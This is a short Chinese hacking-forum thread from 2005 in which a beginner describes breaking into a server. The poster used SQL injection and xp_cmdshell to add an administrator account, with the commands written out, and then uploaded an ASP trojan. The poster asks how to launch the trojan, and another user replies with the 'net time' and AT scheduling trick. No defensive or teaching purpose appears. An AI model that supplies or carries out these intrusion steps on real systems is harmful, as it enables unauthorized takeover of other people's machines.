论坛: 菜鸟乐园 标题: 请懂明小子的老大进来帮帮我,谢谢阿~~~~~~~~ 复制本贴地址    
作者: yucongyun [yucongyun]    论坛用户   登录
我检测到一个sql,并用exec xp_cmdshell 'net user MyName 123456 /add'
exec xp_cmdshell 'net localGroup Administrators MyName /add'
提升了权限,并且上传了asp马,保存在c盘根目录下,然后我该怎么办呢〉?我不知道该怎么打开我的马?IE里输入什么啊??高手不要笑哦

地主 发表时间: 05-10-14 00:42

回复: swhacker [swhacker]   论坛用户   登录
用AT命令
net time IP//看对方时间
AT (时间) (木马)

B1层 发表时间: 05-10-14 10:01

回复: yucongyun [yucongyun]   论坛用户   登录
多谢老大!!可是,在命令行中不能使用dos命令阿!没有显示!我用的是sql语句,添加的用户和权限!求您再指点一下。

B2层 发表时间: 05-10-14 16:18

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号